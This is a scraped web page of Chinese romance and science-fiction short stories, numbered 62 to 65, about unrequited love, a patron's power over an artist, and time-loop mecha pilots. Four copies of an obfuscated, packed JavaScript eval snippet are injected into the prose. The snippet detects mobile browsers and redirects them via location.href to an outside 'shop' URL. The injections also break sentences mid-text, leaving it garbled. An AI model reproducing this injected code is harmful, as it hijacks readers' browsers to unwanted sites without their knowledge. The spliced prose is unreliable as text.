我忘了分寸，我想都没想就凑过去，伸出手想去摸摸他的头，想告诉他：“别怕，我在呢。” 就在我的手即将碰到他头发的那一秒。 许白突然发抖了。 他整个人猛地往后一缩，后脑勺重重地撞在墙上，“咚”的一声，听得我都疼。 但他顾不上疼。 他在黑暗中，用一种带着哭腔的、极度卑微的声音喊了一句： “二爷……您别急……我自己脱。” 那一瞬间，打火机烫到了我的手。 但我感觉不到疼。 我只觉得有一盆冰水，顺着天灵盖浇下来，把我那个关于追求的天真的梦浇得稀碎。 借着那点微弱的火光，我看见许白正颤抖着手，去解他那件洗得发白的衬衫扣子。 他的动作很生疏慌乱，又很绝望。 他闭着眼睛，长长的睫毛在不停地颤动，像是在等待一场即将到来的刑罚。 我僵在半空中的手，像个滑稽的笑话。 我终于明白了。 这三个月来，我自以为是的“深情陪伴”，在他眼里是什么？ 是监视。是施压。是高位者无声的逼迫。 我坐在小马扎上的每一次微笑，在他看来，大概都是在倒计时，在无声地质问他：“你什么时候才肯从了我？” 他从来没有把我当成一个人看过。 在他眼里，我只是一头耐着性子在玩弄猎物的狼。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088285|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 他一直在等，等我失去耐心，等我露出獠牙。 而刚才我伸出手的那一刻，他以为审判终于降临了。 所以他放弃了。 他决定献祭自己，来平息我的“怒火”，来换取一点生存的空间。 “许白。” 我的声音哑得像吞了一把沙子。 他动作停住了，睁开眼，惊恐地看着我，衣领已经敞开了一半，露出苍白脆弱的锁骨。 那是我做梦都想亲吻的地方。 但现在，我只觉得刺眼。 我想解释。 我想说，我不是那个意思。我想说，我只是想摸摸你的头。我想说，我谢某人这辈子没爱过人，我是真的想把心掏给你看。 但我看着他那双写满了“讨好”和“恐惧”的眼睛，我知道，没用的。 在权力的鸿沟面前，我的“天真”就是一种残忍。 金子做的笼子，哪怕我不锁门，鸟儿也是不敢飞的。 它只会以为，那是陷阱。 我慢慢地收回手，合上了打火机的盖子。 “咔哒”一声。 世界重新归于黑暗。 “扣上吧。” 我在黑暗中说，“天凉，别冻着。” 我听见了一阵窸窸窣窣的、慌乱的扣扣子的声音。 那是世界上最讽刺的乐章。 第二天，我让人给他的工作室送去了一份长期的修缮合同，价格高得离谱。 并且，我再也没有去过那里。 我又变回了那个谢二爷。 我重新穿上那一身毫无破绽的西装，在酒局上谈笑风生，在拍卖会上挥金如土。 只是偶尔，在深夜里，我会想起那天微弱火光下他颤抖的手指。 我想，我这辈子唯一一次想要当个好人。结果却证明了，我只配做一个嫖客。 我以为我在爱他。 62. 《误会一场》 后来，我总是想起二十三岁那年的伦敦。 那是我第一次去那么远的地方。飞机落地的时候，希思罗机场在下雨，很大的雨，把窗外的世界浇得灰扑扑的。我拖着行李箱走出来，一眼就看见了江淮。 他穿着一件深灰色的羊毛大衣，围巾是我大二那年织给他的，针脚有些歪，深蓝配墨绿的格子，戴在他脖子上其实有点掉价，但他一直留着。看见我，他很自然地接过我手里死沉死沉的箱子，另一只手隔着厚厚的衣袖，握住了我的手腕。 “跟紧点，林深，别走丢了。”他说。 伦敦的风很冷，吹得我鼻尖发红，但那一刻，我觉得自己像是被人塞进了一个刚出炉的暖烘烘的面包里。周围全是听不懂的英语，全是陌生的面孔，只有手腕上那一点点热度是真的。 我低头看着自己的脚尖，靴子踩在湿漉漉的石板路上。我想，如果这条路没有尽头就好了。如果世界就在这一刻坏掉，红绿灯全部失灵，时间全部卡住，那我就能一直被他牵着，不用思考明天，也不用思考那个让我们都觉得尴尬的问题——我们到底算什么。 但我不敢问。我怕我一问，这只手就松开了。所以我只是用力点点头，露出一个很乖的笑脸：“好啊，我要去吃那个很有名的炸鱼薯条。” 我那时候真天真啊。我以为只要我站在他身边足够久，只要我足够听话，只要我能把所有的委屈都咽进肚子里变成糖，总有一天，他会回过头，摸摸我的头说：“原来是你啊。” 但我忘了，在这个世界上，并不是所有的排队都能等到入场券。 认识江淮是在大一的图书馆。那天阳光很好，好得有点过分，晒得人懒洋洋的。我在找一本绝版的建筑学图集，找了很久都没找到，正准备放弃的时候，一只手从书架最上层把它抽了出来。 我回过头，看见了江淮。 他很高，逆着光，我看不清他的脸，只看见他白衬衫的领口很干净，有一股淡淡的洗衣液味道，像是柠檬，又像是晒干的草坪。他把书递给我，笑着说：“你也找这个？给你先看吧。” 我就那样傻乎乎地接过书，连句谢谢都忘了说。 后来我们成了朋友。大家都说，林深是江淮的小尾巴。 江淮是天之骄子，长得好看，成绩好，还会弹吉他，走到哪里都是人群的中心。而我，我是那个坐在路边鼓掌的人。我长相普通，成绩平平，唯一的优点大概就是脾气好，像一杯温吞的白开水。 但我很努力地想要变得更有趣一点。为了能跟他有共同话题，我硬着头皮去啃那些晦涩难懂的建筑理论，去看他喜欢的那些黑白电影。我陪他在通宵自习室熬夜画图，他画累了就趴在桌子上睡一会儿，我就守在旁边，帮他赶蚊子，看他的睫毛在眼睑下投出一小片阴影。 有一次，他醒过来，迷迷糊糊地看着我，突然伸手揉了揉我的头发，声音哑哑地说：“林深，你真好。以后谁娶了你，肯定特别幸福。” 我的心跳在那一瞬间停了一拍，然后开始疯狂地加速，像是要从嗓子眼里蹦出来。我不敢看他的眼睛，只能低下头假装收拾桌子，小声说：“那你呢？你会娶什么样的女孩子？” 他想了想，笑着说：“不知道啊。大概是那种……能让我第一眼就心动的吧。” 那时候我不懂，原来“第一眼”这三个字，就已经判了我死刑。我以为感情是可以培养的，是可以用时间去换的。我想，只要我对他足够好，好到让他离不开我，那个“第一眼”就不重要了。 大三那年暑假，我们一起去了西藏。 在纳木错湖边，我有了严重的高原反应。头疼欲裂，恶心得想吐，整个人像是被扔进了滚筒洗衣机里。江淮吓坏了，他把自己的氧气瓶给我，整夜整夜地守在我床边，不敢睡觉。 半夜的时候，我难受得哭了。我说：“江淮，我是不是要死了？” 他握着我的手，手心里全是汗。他说：“别瞎说。你要是死了，我就把你埋在湖边，以后每次路过都来笑话你。” 虽然他在开玩笑，但我看见他的眼睛红了。 那一刻，我在高反的眩晕中产生了一种巨大的、虚妄的幸福感。我想，他是有一点点喜欢我的吧？哪怕只有一点点。不然，他为什么会这么紧张？ 第二天早上，我醒过来，看见他趴在床边睡着了。阳光照在他的侧脸上，连细小的绒毛都看得清清楚楚。我伸出手，偷偷地、轻轻地碰了一下他的睫毛。 “江淮，”我在心里小声说，“如果你一直不谈恋爱，我是不是就可以一直赖着你？” 我是一只很笨的蜗牛，背着重重的壳，一步一步地往上爬。我以为只要我爬得够久，我就能碰到云彩。 也就是在伦敦的那次旅行，那个晚上，我们去了一家酒吧。江淮喝了点酒，眼神变得亮晶晶的。他看着我，突然很认真地说：“林深，我们做一个约定吧。” 我握着酒杯的手紧了紧：“什么约定？” “如果到了三十岁，我还单身，你也单身，那我们就凑合过吧。”他笑着说，像是在说一件很轻松的事情，“反正我们这么合拍，连牙膏都喜欢用同一个牌子。” 我的呼吸屏住了。那一瞬间，我觉得自己像是中了头彩。三十岁，离现在还有七年。我可以等。我有的是耐心。 我用力地点头，生怕他反悔：“好啊，一言为定。谁反悔谁是小狗。” 江淮哈哈大笑，伸出小指勾住我的小指：“拉钩上吊，一百年不许变。” 那天晚上，我把他送回公寓。看着他睡着的样子，我在心里偷偷地想好了我们婚礼的请柬要用什么颜色，想好了我们以后的房子要装成什么风格，甚至想好了我们以后养的猫要叫什么名字。 我以为这是他对我的承诺。 我不知道的是，对于不喜欢你的人来说，这种话只是一句为了缓解气氛的玩笑，或者是为了填补寂寞空窗期的随口一提。只有我这种傻子，才会把它当成圣旨，把它供奉在心尖上，每天拿出来擦拭一遍。 回国后不久，那个女孩出现了。 她叫温婉。人如其名，长得温温柔柔的，笑起来眼睛弯弯的，像是一牙甜得发腻的西瓜。 江淮把她带到我面前的时候，我正在喝奶茶。那一瞬间，我嘴里的珍珠突然变得很硬，怎么嚼都嚼不烂，最后只能生硬地吞下去，噎得胸口生疼。 “林深，这是温婉，我女朋友。”江淮揽着她的肩膀，脸上的笑容是我从未见过的灿烂。那种笑，不是对朋友的客气，也不是对妹妹的宠溺，而是那种……怎么说呢，像是小孩子终于得到了心心念念的玩具，全是满足和炫耀。 温婉笑着对我伸出手：“你好呀，林深。江淮经常提起你，说你是他最好的哥们儿。” 哥们儿。 这两个字像是一记响亮的耳光，扇得我眼冒金星。 我看着他们紧紧挨在一起的肩膀，看着江淮小心翼翼地帮她理好耳边的碎发。那个动作那么自然，那么熟练，就像他们已经在一起很久了。 我放下奶茶，擦了擦手，握住温婉的手，挤出一个笑脸：“你好，我是林深。江淮这家伙毛病多，以后辛苦你啦。” 我表现得真好。大方，得体，一点都没有失态。我应该去拿奥斯卡奖。 后来的日子，我开始慢慢地往后退。 我不再给江淮发早安晚安，不再问他在干什么，不再缠着他陪我看电影。我把自己缩回那个壳里，假装自己很忙，假装自己过得很好。 但江淮并没有放过我。他觉得我是他的好朋友，理应分享他的喜悦。 他会在微信上问我：“林深，温婉生日送什么好？你也是女孩子，给个建议呗。” 我会盯着屏幕看很久，然后打字告诉他：“送项链吧，她皮肤白，戴细一点的锁骨链好看。” 发完之后，我会把手机扔得远远的，像扔一块烫手的烙铁。 有一次，我们三个人一起吃饭。温婉不小心把汤洒在了裙子上。江淮立刻跳起来，拿纸巾帮她擦，眉头皱得紧紧的，眼神里全是心疼：“烫到了吗？疼不疼？” 我坐在对面，手里拿着筷子，看着这一幕。 我想起大二那年，我和江淮去吃火锅，我也被烫到了手。江淮当时是怎么做的？他扔给我一包湿纸巾，笑着说：“林深你怎么这么笨啊，吃个饭都能受伤。” 那时候我觉得那是我们关系好的证明，是可以互相损的朋友。 现在我才明白，那只是因为不够爱。 爱是小心翼翼，爱是如临大敌，爱是生怕你受一点点委屈。而不是把你当成一个皮糙肉厚的兄弟，觉得你怎么样都无所谓。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088286|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 那天晚上回到家，我坐在地板上，把那个织了一半的围巾拆了。 毛线被拉得长长的，卷曲着，像是我纠结又难看的青春。我一边拆一边哭，不敢发出声音，只能张大嘴巴，大口大口地呼吸。 我不恨温婉，她是个好女孩，她配得上江淮所有的好。我也不恨江淮，感情这种事，本来就没有道理可讲。 我只是很难过。 我难过的是，我明明那么努力地想要靠近他，明明那么认真地喜欢了他这么多年，最后却连一个上场比赛的资格都没有。 我就像是一个站在橱窗外面的小孩，看着里面的糖果，把脸贴在玻璃上，把鼻子都压扁了，也只能看着别人把它买走。 江淮的婚礼是在两年后的秋天。 那天天气很好，天很蓝，云很白，一切都美得像童话。 我是伴娘。江淮说，一定要让他最好的朋友送他走进婚姻的殿堂。 我穿着淡蓝色的裙子，手里拿着戒指盒，站在台上。 看着温婉挽着父亲的手走过来，看着江淮红着眼眶接过她的手。看着他们互相宣誓，交换戒指，拥吻。 台下的掌声很热烈，我也跟着鼓掌。手掌拍得很红，很疼。 我想，我的任务终于完成了。 我一直以为，如果有一天江淮结婚了，新娘不是我，我会崩溃，会大闹一场，或者至少会转身逃跑。 但其实没有。 那一刻，我心里竟然很平静。就像是等待宣判的犯人，终于等到了结果。虽然是死刑，但至少不用再担惊受怕了。 不用再猜他那句话是什么意思，不用再等他的微信，不用再因为他的一举一动而患得患失。 这就结束了。 婚礼结束后，大家都在闹洞房。我一个人悄悄地溜了出来。 酒店外面的风有点大，吹得我裙摆乱飞。我脱下高跟鞋，提在手里，光着脚走在马路牙子上。 柏油路面凉凉的，有点硌脚。 我走着走着，突然觉得肚子有点饿。 路过一家便利店，我进去买了一个关东煮。 萝卜煮得很软，咬一口全是汤汁。我坐在便利店门口的台阶上，一边吃萝卜，一边看着路灯下的飞蛾。 我想起那个“三十岁之约”。 江淮肯定早就忘了。甚至连我自己，现在想起来都觉得好笑。 那就是一个笑话。是一个天真的傻子，当真了一个聪明人的玩笑。 手机震动了一下。 是江淮发来的微信：“林深，今天辛苦你了。改天请你吃饭，带上你男朋友。” 我愣了一下。男朋友？我哪来的男朋友？ 哦，我想起来了。为了让他安心，为了不让他觉得愧疚，我前段时间骗他说，我也有喜欢的人了，正在接触。 你看，我到现在还在为他着想。我真是个好人。 我回复了一个笑脸表情：“好啊，一定要吃顿贵的。” 发完这条消息，我把剩下的关东煮吃完了。汤也喝得干干净净。 其实没什么大不了的。 真的。 也就是误会一场。 我误会了那次牵手是因为喜欢，误会了那个拥抱是因为依赖，误会了那句“有你在真好”是因为爱。 我误会了我和他之间有某种特殊的羁绊，误会了我是特别的那一个。 其实对于他来说，我只是路人甲。是他精彩人生里一个稍微重要一点的配角。 我站起身，拍了拍屁股上的灰。 风吹过我的脸，有点凉。 我把手机揣进兜里，对着空气挥了挥手。 “再见啦，江淮。” 我轻轻地说。 声音很小，只有我自己听得见。 这一次，我是真的要走了。我要去过我自己的生活了。我要去找一个也会因为我烫到手而紧张得皱眉的人，找一个会把围巾戴得整整齐齐的人，找一个……第一眼看见我就心动的人。 我转过身，没再回头看一眼那灯火通明的酒店，光着脚，走进了一片茫茫的夜色里。 我想，以后我也要学着抽烟了，听说烟雾吸进肺里的时候，会让人忘记很多事情。 比如伦敦的雨，比如纳木错的星空，比如那个从来没有爱过我的你。 63. 《标本》 蝉鸣声太大了。 像是一万把生锈的锯子在耳膜上反复拉扯，把这个位于地底两千米的夏天锯得支离破碎。 我醒来的时候，手里还握着一把剃刀。 面前的镜子布满水汽，映出一个模糊的影子。那是二十六岁的我，林渊。还没有在那场LCL流体爆炸中失去右眼，还没有因为长期的神经连接变得如同废人。 我侧过头，看向浴缸。 许默躺在那里。水没过了他的胸口，那件在此刻显得过于宽大的白色衬衫漂浮在水面上，像是一层死去的皮肤。 他睡着了。或者说，是在由于过载的同步率而导致的暂时性休克中昏迷。他的脖颈向后仰着，露出那段苍白得近乎透明的喉结，下面是青紫色的血管，里面流淌着那种被名为“使徒”的怪物所觊觎的血。 我盯着那段脖颈看了很久。 上一世，这根脖子是在我眼前折断的。在一号机暴走的瞬间，为了切断精神污染，我亲手拉下了强制弹出的拉杆。但我没想到，那是对他最后的处决。 现在的他，还完整。像是一个精致的、还没有被打碎的标本。 我放下剃刀，金属撞击瓷砖发出清脆的声响。 许默动了一下。他睁开眼，那双眼睛里没有焦距，只有一片混沌的红，像是刚从深海里浮上来的人，带着严重的减压病症状。 “林……？” 声音很哑，像是声带被砂纸打磨过。 “醒了就起来。”我从架子上扯下一条毛巾，扔到他头上，盖住了那张让我感到窒息的脸，“今天的同步率测试定在下午两点。” 我转过身，不去理会他在水中挣扎着坐起时发出的哗啦声。 我不想对他温柔。在这个世界，温柔是比粒子炮更残忍的东西。给一个注定要死在驾驶舱里的人以温柔，就像是在行刑前给犯人一顿丰盛的晚餐，除了增加死亡时的落差感，毫无意义。 但我还是在门口停下了脚步。 “还有，”我背对着他，看着走廊里惨白的灯光，语气平淡得像是在念一份尸检报告，“下次想死的话，别死在我的浴缸里。清理起来很麻烦。” 身后传来了长久的沉默。 然后，我听到了他很轻、很轻的一声笑。那笑声里带着一种神经质的、破碎的讨好。 “好的，林渊。” 他叫我的名字，而不是“指挥官”。 我握着门把手的手指瞬间收紧，指节泛白。 …… 食堂里的饭菜永远是那股怪味。合成蛋白质，脱水蔬菜，还有一种怎么也洗不掉的金属餐盘的铁锈味。 许默坐在我对面，机械地往嘴里塞着食物。他的手在抖，那是神经接驳后的后遗症。勺子碰到牙齿，发出令人牙酸的磕碰声。 周围很吵。地勤人员在大声谈论着昨晚的球赛，广播里播放着虚假的地面天气预报——“今日晴，微风”。 没人知道，三个小时后，第五使徒就会撕裂这层虚假的天空，把红色的绝望倾倒下来。 也没人知道，我已经把这个场景看了四十七遍。 “不想吃就别吃了。”我把自己盘子里的苹果推到他面前。 许默停下动作，抬起头看我。他的嘴角还沾着一点酱汁，在这个充满机油味的世界里，显得格外像个人类。 “这也是命令吗？”他问。 “这是建议。”我点了一支烟，尼古丁的味道稍微冲淡了那种令人作呕的宿命感，“根据过去的数据，你在饭后两小时内的呕吐概率是85%。” 许默愣了一下，然后垂下眼帘，看着那个红得刺眼的苹果。 “林渊，你好像什么都知道。” “……” “有时候我觉得，你看我的眼神，像是在看一个死人。”他轻声说，拿起那个苹果，却没有吃，只是握在手里，指尖用力到发白，“或者，在看一段已经写好的程序。” 我夹着烟的手顿在半空。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088287|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 烟灰掉落在桌面上，瞬间散开，像极了那个夏天最后的结局。 我隔着缭绕的烟雾看他。 我想告诉他，你不是程序。你是这个该死的世界里唯一的BUG。我重启了四十七次系统，只是为了把你这个BUG从删除列表中抢救回来。 但我什么也没说。 我只是伸出手，隔着那张冰冷的金属桌子，用拇指粗暴地擦掉了他嘴角的酱汁。我的指腹擦过他干燥的嘴唇，感觉到他明显的瑟缩。 “吃完。”我收回手，在桌上按灭了烟头，“如果吐出来，我会让你再吃进去。” 他看着我，眼底那种空洞的平静终于碎裂了一角，露出了一点鲜活的、类似于“委屈”或者“恐惧”的情绪。 很好。 只要还会痛，就说明还活着。 只要还活着，哪怕是作为困兽，我也要把他锁在这个无休止的长夏里。 警报声就在这个时候响了起来。 凄厉，尖锐，毫无预兆。 食堂里的人群瞬间乱了，尖叫声和餐盘落地的声音混在一起。 只有我和许默坐着没动。 他手里的苹果滚落到地上，咕噜噜地滚到了我的脚边。 他看着我，脸色瞬间惨白，身体本能地做出了战斗姿态，那是被训练好的巴普洛夫反应。 “林渊……” 我站起身，绕过桌子，走到他身边。 周围是奔跑的人群，是红色的警报灯光，是末日的序曲。 我一把抓住了他的手腕。那里的脉搏跳得快得惊人，像是一只被握在手心里的鸟。 “走吧。” 我拉着他逆着人流，走向那条通往深渊的通道。 “去哪？”他的声音在发抖。 “去驾驶舱。”我头也不回地说，“去完成你的使命，去流血，去发疯。” 然后，在下一次死亡来临之前，我会一直在通讯频道里听着你的呼吸。 64. 《西西弗的暴雨》 雨下得太大了。 雨水冲刷着第三新东京市厚重的装甲板，发出一种类似由于信号接触不良而产生的白噪音。 我站在落地窗前，第72次看着许默从那辆黑色的轿车上走下来。 并没有什么久别重逢的悸动。在这个被莫比乌斯环锁死的时空里，“重逢”是一个伪命题，只有“重复”才是永恒的真理。 他撑着一把透明的伞，身形被雨幕扭曲成一个模糊的几何图形。那一刻，我脑海里突然跳出一个哲学悖论：特修斯之船。 如果我在之前的71次轮回里，已经把关于许默的每一寸记忆、每一次死亡、每一声破碎的喘息都替换过了一遍，那么眼前这个还没有经历过绝望、还没有被我拉进深渊的少年，真的是“许默”吗？ 或者说，他只是一个被名为“命运”的程序重新生成的、拥有相同外观参数的仿制品？ 而我也在怀疑，那个爱着他的“我”，是否早就在第10次或是第20次看着他死去的时候就已经磨损殆尽了？此刻站在这里的，究竟是一个名为林渊的人类，还是一段被执念这种病毒感染的、无法停止运行的冗余代码？ 我按灭了手里的烟。 但我必须爱他。因为在这个虚无的闭环里，他的痛苦，是我确认这个世界依然具有“实在性”的唯一座标。 隔离室的门是单向透明的。 萨特所说的“他人的目光”：我在暗处，他在明处。我拥有对他绝对的观测权，这让我产生了一种类似神明的错觉。但只有我自己知道，这种观测本身，就是一种无法逃离的刑罚。 许默坐在椅子上，手里拿着一份心理评估表。他填得很慢，笔尖在纸上摩擦的沙沙声，通过高保真麦克风传到我的耳机里，像是一只虫子在啃食我的神经。 “你在看我吗，林先生？” 他突然抬起头，看向那面黑色的镜子。 他的眼神很空，并不是那种未经世事的单纯，而是一种被抛入世的茫然。海德格尔说人是被抛到这个世界上的，许默显然比任何人都更深刻地理解这种被动性。他知道自己是为了什么而生——为了成为神枢的零件，为了成为某种宏大叙事的耗材。 我按下通话键，声音经过电子合成，听起来冰冷而失真。 “继续填。不要试图与观测者建立联系。” “可是观测本身就会改变结果，不是吗？”他轻声反驳，嘴角扯出一个极其微小的、带着自毁倾向的弧度，“在你打开那扇门之前，我既是活着的驾驶员，也是死去的祭品。” 我手指僵硬地悬在控制台上。 在之前的轮回里，他从未说过这样的话。 变量出现了。 是系统的随机扰动？还是因为我的灵魂在漫长的磨损中产生了裂痕，导致这个世界投射出的影像也发生了畸变？ 我推开门走了进去。 室内的空气带着一股除湿机过度运作后的干燥味。我走到他面前，夺过他手里的笔。 “在这里”我俯视着他，试图用身高的阴影压垮他那种突如其来的尖锐，“只有事实。你会驾驶，你会受伤，你会活下来。” “因为你这么希望？” “因为这是写好的剧本。” 许默看着我，那双黑色的眼睛像是一口深井，不仅吞噬光线，也吞噬意义。 “如果剧本是写好的，”他伸出手，冰凉的指尖触碰到我的手背，那一瞬间，我感觉自己像是一块被电流击穿的绝缘体，“那么林先生，你此刻的愤怒，是出自你的本心，还是剧本让你愤怒？” 我猛地抓住他的手腕，力道大得几乎能捏碎他的骨头。 痛觉。 在这个巨大的、虚构的荒诞剧里，只有痛觉是无法被伪造的“物自体”。当他因为疼痛而皱眉、颤抖时，他就不是一个概念，不是一个符号，而是一个鲜活的、正在受难的□□。 “你不需要知道这些。”我把他的手按在冰冷的金属桌面上，凑近他的脸，近得能看清他虹膜上细微的纹路——那大约是宇宙大爆炸残留的余晖。 “你只需要知道，为了让你在这个剧本里多活一秒，我已经杀死了自己七十一次。” 许默愣住了。 他眼中的那种形而上的尖锐瞬间崩塌，还原成了一种赤裸的、属于人类的惊愕与脆弱。 这就是我要的。 警报声响起的时候，我们在天台上。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17088288|195404||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 红色的天空像是一块腐烂的伤口，使徒的阴影遮蔽了太阳。所谓“崇高”，往往伴随着巨大的毁灭性力量。 许默穿着战斗服，紧身的设计勾勒出他单薄得近乎病态的躯体。那不是为了美，是为了最大限度地减少LCL液体的阻力——为了让他更顺滑地成为机器的子宫。 “我去了。”他说。 没有豪言壮语，像是在说“我去便利店买包烟”。 “许默。”我叫住他。 他回过头，风把他的头发吹得很乱。 我走过去，替他整理好神经连接端口的卡扣。我的动作很慢，带着一种仪式感。这是一种献祭的仪式，我是那个亲手将羔羊推上祭坛的祭司，同时也是那个试图在祭坛下偷走祭品的渎神者。 “记住哪怕只有一瞬间的感觉。”我看着他的眼睛，用一种近乎催眠的语调说道，“不要融化在LCL里。保持你的‘自我’边界。哪怕那个边界意味着孤独，意味着排斥。” “为什么？” “因为神不需要名字，但你需要。” 如果人类补完计划的终点是消除人与人之间的隔阂，让所有灵魂融为一汤，那就是我最大的敌人。 因为在那片绝对的橙色海洋里，没有“你”，也没有“我”。唯有保留那层名为“心之壁”的隔阂，唯有保留这种无法互相理解的孤独，我们的爱恨才有依附的实体。 “你要作为一个‘异物’活在那个完美的系统里。”我最后一次用力按了按他的肩膀，“这是我对你唯一的诅咒。” 许默看着我，忽然笑了。 在血红色的天空下，那个笑容显得凄凉而通透。他似乎在这一刻读懂了我不堪重负的灵魂底色。 “好的，林渊。” 他说。 “为了让你能观测到我，我会永远保留这份孤独。” 他转身跃入插入栓。 巨大的机体喷射出蒸汽，像是一个苏醒的巨神。我站在狂风中，看着他升上天空，去迎战那个不可战胜的命运。 这就是我们的生存方式。 我们在西西弗斯的山脚下相爱，靠着推那块注定会滚落的巨石，来证明我们并未在虚无中消散。 65. 蓝色的骨骼，或关于在合成雨季中练习溺水 空气里总是弥漫着一种被腌制过的味道，像是发酵的植物根茎混合了烧焦的电子元件，粘稠得近乎胶质，糊在皮肤上，让人分不清那是汗水还是这座城市永不停歇的冷凝排泄物。这里没有真正的黑夜，只有被云层折射了无数次的紫红色低气压光晕，像是一块巨大的、久治不愈的淤青覆盖在穹顶之上。 我看着阿生，他正蜷缩在那个能够自动记忆体型的智能沙发深处，脊背弓起。在这个恒温二十四度的无菌房间里，他像是一只被迫冬眠的冷血动物，正在试图用一种防御性的姿态来抵御某种并不存在的寒冷。光线从窗外的霓虹灯牌透进来，经过防爆玻璃的滤光处理，变成一种病态的惨白，打在他瘦削的肩胛骨上。在那一瞬间，我产生了一种错觉，仿佛他那层光滑得没有任何毛孔的皮肤只是一件并不合身的紧身衣，只要我找到那个隐秘的拉链，或者用指甲用力划开一道口子，就能剥下这层名为“人类”的伪装，露出底下那层真正属于他的、布满墨绿色鳞片的、湿漉漉的爬行动物躯体。 “帮我把窗户关紧一点。”他低声说，声音像是从很深的水底冒上来的气泡，带着一种频率不稳定的颤抖，“我听见雨声了，像是有无数个死人在敲打玻璃。” 其实窗户已经锁死了，那是某种看不见的力场，将我们与外面那个光怪陆离、精密运转的世界隔绝开来。外面的雨并不是真正的雨，那是城市清洁系统在午夜定点喷洒的化学清洗剂，为了冲刷掉白天在这个完美的赛博格社会里滋生出的、名为“情绪”的灰尘。但我们需要这种潮湿，需要这种被液体包裹的窒息感，来确认我们还没有干涸成一串枯燥的数据。我走过去，手指无意间触碰到他后颈那块微小的植入体接口，那里比周围的皮肤温度低了零点五度，生了一层薄薄的电子锈迹。这是他唯一的破绽，是他作为一个“错误”的证明。在这个基因编辑已经普及、所有人都趋向于审美平均值的时代，保有某种“不完美”是一种原罪，而我们就是那两只混入人类舞会的鳄鱼，披着仿真人皮，时刻担心会被那些有着恒温体温的正常人识破，担心被送进处理厂，被剥皮抽筋，做成一只精美的手袋。 阿生突然坐起来，手里捏着一个不知从哪个废墟层淘来的旧铁皮罐头，上面的标签已经褪色，只能隐约辨认出黄色的水果图案和一串模糊的日期，似乎停留在一个叫做“五月一号”的日子。他盯着那个日期，眼神里透出一种近乎病态的执着，像是那个总是戴着墨镜、在便利店里寻找特定日期的警察，试图在时间的尸体上寻找一点点防腐剂失效的证据。 “你说，是它先过期，还是我们先过期？”他问。 这是一个伪命题。在这个世界里，没有什么东西会真正过期，一切都可以被修复，被替换，被重启。记忆可以上传云端，□□可以纳米重塑，死亡已经被攻克了，我们失去了终结的权利。只有这个罐头，这个来自旧时代的遗物，它里面封存着真正的、会腐烂的时间，那是一种甜腻的、正在转化为酒精的死亡的味道。我们守着它，就像守着一个随时会引爆的炸弹，或者一个关于爱情期限的古老诅咒。如果在那个日期到来之前，它没有炸开，如果在那之前没有人爱我，我就把自己扔掉，扔进那个充满垃圾和废弃代码的回收站。 为了逃避这种令人窒息的永恒，我们开始出门，避开那些主干道上川流不息的物流胶囊和面容完美的人群，像两只畏光的蟑螂，钻进这个城市庞大而复杂的地下管网。那里有一条极长的、废弃的过街隧道，头顶的照明灯管坏了大半，剩下几根发出高频的、极其不稳定的蓝光。那种蓝不是天空的蓝，不是海洋的蓝，而是一种只有在显像管故障、或者视网膜神经受损时才会出现的、带有辐射味道的化工蓝。光影在墙壁上拖曳出长长的残像，时间和空间在这里发生了奇异的扭曲。 阿生走在前面，穿着那件大两号的复古夹克，袖口磨损了，随着他的步伐晃动。电子乐的鼓点似乎就在这蓝色的空气里震动，单调，重复，催眠。看着他的背影，我的记忆开始出现断层，视网膜上的像素块开始重组，我仿佛看到几十年前的那个画面重叠在了此刻——那不是阿生，而是一个长发飞扬的女人，手里夹着一支烟，在这条蓝色的甬道里奔跑。她跑得那么轻盈，却又那么绝望，时不时地回过头来，看向镜头，看向我，看向那个一直在身后追逐着她的、虚无的时间。那一刻，我分不清我是谁，我是那个举着摄像机的人？还是那个在两个男人之间来回游荡、试图寻找自我却最终迷失的幽灵？又或是那个在未来的某一天，回过头来审视这段青春的旁白者？ 我们被困在这个长镜头里了。无论我们怎么跑，无论换了多少个身份，多少个名字，我们最终都会回到这条蓝色的隧道里，重复着那个回头的动作。看着过去，却无力改变，走向未来，却发现未来只是一片虚无的白光。 “喂。”阿生突然停下来，回过头。 